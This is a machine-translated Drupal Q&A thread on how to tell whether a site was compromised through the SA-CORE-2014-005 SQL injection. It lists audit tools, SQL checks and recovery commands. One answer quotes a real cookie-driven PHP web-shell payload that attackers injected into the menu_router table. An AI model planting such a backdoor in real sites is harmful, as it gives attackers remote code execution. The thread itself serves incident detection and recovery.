Drupal SA-CORE-2014-005 - Bagaimana cara mengetahui apakah server / situs saya disusupi?


40

Saya baru saja memperbarui semua situs saya menggunakan metode patch untuk menyelesaikan eksploitasi Drupal SA-CORE-2014-005. Saya baru saja membaca laporan bahwa baru kemarin ada seseorang dari situs IPup infiltrasi IP Rusia.

https://www.drupal.org/SA-CORE-2014-005

Kekhawatiran utama saya sekarang:

  • Bagaimana saya tahu jika situs saya sudah ada?
  • Apa yang harus saya cari di log akses apache saya untuk mendeteksi apakah situs saya adalah korban atau tidak?
  • Sejauh ini apa yang dilakukan para peretas ini terhadap situs-situs yang ada?

7
Ada modul untuk itu sekarang drupal.org/project/drupalgeddon
mikeytown2

bagaimana jika saya tidak memiliki alias alias setup untuk 100 situs drupal? apa saja temuan-temuan umum peretasan sehingga kami tahu apa yang harus dipahami?
Patoshi パ ト シ


1
@duckx Periksa kode dalam modul drupalgeddon dan Anda akan menemukan peretasan umum tersebut; kami tidak dapat mencantumkan setiap kemungkinan perubahan yang dapat dilakukan oleh pengguna jahat dengan akses penuh ke database, karena alasan yang jelas. Mereka dapat membuat perubahan apa pun yang harus dilakukan oleh pengguna mysql Drupal, itulah intinya. Jadi secara harfiah satu-satunya cara untuk memastikan adalah membandingkan database Anda saat ini dengan versi yang dikenal baik. Jika Anda mencari tombol untuk menekan yang andal, 100% akurat, memberi tahu Anda apakah situs Anda telah disusupi atau tidak, Anda bermimpi saya khawatir :)
Clive

Ducky: jika Anda tidak memiliki alias yang disiapkan dan Anda memiliki 100 situs, akan lebih mudah untuk membuat alias daripada berurusan dengan mereka secara manual? Dapatkan sendiri daftar akar situs dan URL dan Anda bisa menjadikannya sebagai kumpulan alias dari sana.
Chris Burgess

Jawaban:


6

Berikut adalah beberapa pertanyaan SQL yang dapat dijalankan terhadap DB situs Anda untuk memeriksa pengguna dengan hak admin, dan yang mana dari mereka yang telah mengakses posting situs 15 Oktober.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005


1
Hai dan selamat datang di Jawaban Drupal. Anda dapat meningkatkan jawaban Anda dengan memberikan ringkasan kecil dari halaman yang disediakan.
Wtower

Btw, disarankan untuk memeriksa pengguna yang dibuat setelah 15 Oktober. Ini menggunakan createdbidang dari tabel pengguna. Tidak dijamin bahwa orang yang menyuntikkan SQL akan menghormati nilai bidang, yang membuat pemeriksaan ini tidak cukup berguna. Memang, telah terjadi kepada saya bahwa injeksi pengguna umum dengan nama drupaldevitu seandainya dibuat 44 minggu yang lalu. Sejauh rekomendasi kedua, sekali lagi tidak dijamin bahwa pengguna yang disuntikkan memang akan masuk.
Wtower

29

Jika Anda membaca artikel ini dan berharap untuk memeriksa situs Drupal 7 lebih dari sebulan setelah eksploitasi mendarat, situs Anda kemungkinan besar sudah diretas . Taruhan terbaik Anda adalah mengembalikan cadangan dari sebelum serangan dimulai dan bekerja dari sana.

Ada FAQ tentang SA-CORE-2014-005 .

Bagaimana saya tahu jika situs saya telah disusupi?

Salah satu cara untuk memeriksa dengan cepat apakah situs-situs itu disusupi adalah dengan perintah Drupalgeddon drush.

Instal ke Anda ~/.drushdengandrush dl drupalgeddon

Kemudian gunakan drush drupalgeddon-testuntuk menguji. Drush alias membuat ini mudah dan cepat.

Alat ini dapat mengkonfirmasi situs yang dieksploitasi, tetapi tidak dapat menjamin situs Anda tidak dieksploitasi. Tidak ada "tagihan kesehatan" di sini kecuali jika Anda meningkatkan sebelum serangan dimulai.


Modul Audit Situs mencakup beberapa pemeriksaan dari Drupalgeddon, dan memberi Anda banyak masukan yang berguna juga. Saya sangat merekomendasikannya. (EDIT: Sekarang mereka bekerja bersama - super bagus!)


Security Review tidak memeriksa untuk serangan Drupalgeddon tetapi layak juga ada di toolbelt Anda.


Jika basis kode situs Anda dapat ditulisi oleh pengguna www, Anda juga dapat memeriksa kode yang dimodifikasi menggunakan modul yang diretas. Modul ini mungkin tidak melakukan apa yang Anda pikirkan berdasarkan namanya saja :)


Meskipun tidak ada satu cara tertentu untuk mengidentifikasi semua situs yang disusupi, alat ini dapat membantu Anda mengidentifikasi indikasi yang paling umum.


Apa yang harus saya cari di log akses apache saya untuk mendeteksi apakah situs saya adalah korban atau tidak?

Log akses Anda akan berisi banyak permintaan POST sekarang. Kecuali Anda telah mengambil langkah yang tidak biasa untuk mencatat semua data pos sebelum bug, Anda tidak mungkin memiliki informasi untuk mengatakan yang mana dari yang berbahaya.

Sejauh ini apa yang dilakukan peretas ini terhadap situs yang disusupi?

Banyak yang melaporkan bahwa situs mereka ditambal oleh peretas! Sebagai penyerang, ini masuk akal - Anda tidak ingin situs Anda yang baru dibajak dikeluarkan dari bawah oleh penyerang berikutnya :)

Selain itu, saya kira situs tersebut digunakan untuk memanen data berharga apa pun yang ada di sana (mungkin mengambil beberapa kredit, mungkin mengangkat detail transaksi setelah mengeksploitasi) dan untuk melakukan hal-hal yang membosankan seperti mengirim spam dan bekerja sebagai budak botnet yang rendah hati. Oh, dan kembangkan lebih lanjut kerajaan penyerang dari situs Drupal yang dibajak. (Maaf, saya tidak memiliki situs yang diretas untuk diamati.)


Bisakah Anda mengklarifikasi? Apakah serangan akan selalu dimulai dengan permintaan POST? Saya memeriksa log saya untuk setiap POS. Telah melihat yang dari IP 62.76.191.119 setelah saya ditambal.
Lance Holland

Saya memiliki situs yang menjadi korban eksploitasi ini dan tampaknya para penyerang menggunakannya untuk mengirim banyak spam dari server.
Cyclonecode

24

Beberapa pemeriksaan untuk serangan umum adalah (ini bukan daftar lengkap, tetapi beberapa serangan terlihat di alam liar sejauh ini):

  • Periksa akun pengguna 1 Anda untuk memastikan nama pengguna, alamat email, atau kata sandi sesuai keinginan Anda. Periksa juga akun pengguna lain yang memiliki tingkat izin tinggi jika memungkinkan.
  • Periksa akun pengguna baru yang terlihat mencurigakan.
  • Periksa perubahan peran di sistem Anda, misalnya peran baru atau peran yang diubah namanya.
  • Periksa perubahan izin. Aspek yang paling penting dari ini adalah untuk memastikan bahwa peran pengguna anonim (atau peran lain yang dapat didaftarkan oleh siapa pun) belum diubah untuk memberi mereka akses lebih besar.
  • Periksa blok khusus baru yang mungkin berisi kode berbahaya.
  • Periksa node khusus baru yang mungkin berisi kode berbahaya.
  • Periksa file di sistem file Anda yang seharusnya tidak ada di sana. Ini mudah jika Anda menggunakan kontrol versi karena Anda dapat melakukan git status atau svn st untuk melihat apakah ada file baru di sana.
  • Jika mereka telah mengunggah file berbahaya maka Anda dapat memeriksa log akses Anda untuk hits ke nama file aneh yang Anda tidak kenal.
  • Periksa tabel basis data router menu Anda untuk entri jahat. Misalnya (modul drupalgeddon module / drush plugin di drupal.org memiliki skrip yang baik untuk memeriksa tabel ini secara lebih menyeluruh):

    SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';

  • Anda juga dapat menelusuri tabel router menu untuk mencari entri yang aneh.

Beberapa hal yang coba dilakukan oleh peretas adalah:

  • Letakkan file skrip php di situs Anda yang dapat dijalankan dengan menekannya di browser. Skrip ini dapat melakukan berbagai hal berbahaya. Ini dicapai dengan menambahkan entri router menu jahat.
  • Buat akun pengguna admin untuk mereka lalu gunakan untuk melakukan hal-hal buruk ke situs Anda atau mengambil alih situs Anda.
  • Ubah alamat email pengguna 1 sehingga mereka dapat mengatur ulang kata sandi untuk akun itu dan mengambilnya.
  • Ubah izin untuk peran pengguna yang dapat diakses publik.
  • Tambahkan blok / node / dll. yang mungkin mengandung kode berbahaya Jika Anda mengaktifkan filter PHP, ini bahkan lebih menjadi masalah.

Sayangnya ada begitu banyak hal yang bisa dilakukan penyerang ke basis data Anda sehingga cukup sulit untuk memberikan daftar lengkap kemungkinan. Mereka dapat melakukan hal-hal yang mencoba untuk membuat mereka mengendalikan situs Anda, atau mereka dapat merusak situs Anda tetapi menjatuhkan tabel atau kolom basis data dll.

Mereka bahkan bisa saja membuat perubahan yang sangat kecil untuk konfigurasi situs, seperti mengubah nama situs Anda atau sesuatu seperti itu, yang bukan akhir dari dunia tetapi masih bermasalah.

Pada dasarnya, apa pun yang dapat Anda lakukan di database Anda dengan menjalankan perintah SQL, seorang penyerang secara teoritis dapat melakukannya.

Semua modul yang disebutkan dalam jawaban Chris Burgess sangat berguna dalam memeriksa hal-hal ini.


1
Anda harus dipukul oleh 62.76.191.119. Biasanya sepertinya IP ini sedang mencoba untuk menempatkan file di dokumen Anda melalui menu_router dan mungkin hal-hal buruk lainnya ke DB Anda. Anda dapat membaca komentar di drupal.org/node/2357241 .
scor

Saya belum terkena sejauh investigasi saya terhadap situs saya sejauh ini. Ini hanya informasi untuk membantu OP.
rooby

bagaimana saya akan pergi tentang "Periksa tabel database router menu Anda untuk entri jahat:"? im pada server centos dan saya punya root.
Patoshi パ ト シ

Anda dapat menjalankan perintah basis data "SELECT * FROM menu_router" dan kemudian menjelajah semuanya untuk memeriksa baris yang terlihat tidak pada tempatnya. Ada juga perintah yang lebih spesifik yang disebutkan dalam jawaban saya yang mencari satu serangan spesifik yang diketahui dan digunakan untuk mengunggah file ke server Anda.
rooby

IP 62.76.191.119 itu mencoba mengeksploitasi kerentanan situs saya dalam satu hari setelah pembaruan keamanan dirilis. Saya melarang semua situs saya. Saya sangat beruntung bahwa saya meningkatkan situs saya tepat waktu. Itu aneh karena mengenai situs saya berdasarkan urutan abjad.
cayerdis

10

Saya pikir saya akan pergi dengan saran drupal.org " Anda harus melanjutkan dengan asumsi bahwa setiap situs web Drupal 7 dikompromikan kecuali diperbarui atau ditambal sebelum 15 Oktober, 11:00 UTC, yaitu 7 jam setelah pengumuman .". Seperti yang dikatakan Bevan dalam komentar ini, "Memperbarui atau menambal Drupal tidak memperbaiki backdoor yang dipasang oleh penyerang sebelum memperbarui atau menambal Drupal."

Bevan juga membuat bagan alur kerja berikut untuk membantu Anda menganalisis jika Anda mungkin telah terinfeksi dan cara memulihkan serta mencegah . Namun, ia meminta semua orang untuk pergi ke artikel aslinya untuk memastikan Anda memiliki versi terbaru dari alur kerja. Acquia juga membuat artikel menarik tentang serangan dan pola yang mereka alami di Acquia Cloud

 flowchart untuk memahami jika Anda rentan, jika Anda mungkin telah terinfeksi dan bagaimana memulihkannya


4

Kutipan dari: https://www.drupal.org/node/2357241#comment-9258955

Ini adalah contoh file yang dimasukkan ke dalam kolom menu_router tabel access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Seperti yang Anda lihat, ia mencoba membuat file modul / image / vzoh.php tetapi karena saya hanya membaca izin di dalam direktori-direktori tersebut, gagal dengan php.

Laporan orang yang menemukan file serupa dibuat melakukan pencarian di direktori drupal Anda: https://www.drupal.org/node/2357241#comment-9260017


Apa yang saya lakukan adalah melakukan perintah berikut:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Dikutip Dari: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Menampilkan file yang telah berubah di server langsung: status git

Mencari upaya eksekusi kode melalui menu_router: pilih * dari menu_router di mana access_callback = 'file_put_contents'

Menampilkan file mana di server langsung dan tidak dalam kontrol versi: diff -r docroot repo | grep docroot | grep 'Only in docroot'

Menemukan file PHP di direktori file: temukan. -path "* php"

Memeriksa jumlah waktu antara saat pengguna masuk ke situs Anda dan kunjungan halaman terbaru: pilih (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid dari sesi s dalam gabung dengan pengguna di s.uid = u.uid;


3

Daftar perintah yang sangat baik untuk mengetahui apakah Anda telah dikompromikan.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

1
Daripada memberikan jawaban yang terpisah, mungkin Anda harus mengedit yang pertama dan menambahkan informasi tambahan?
Cyclonecode

Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.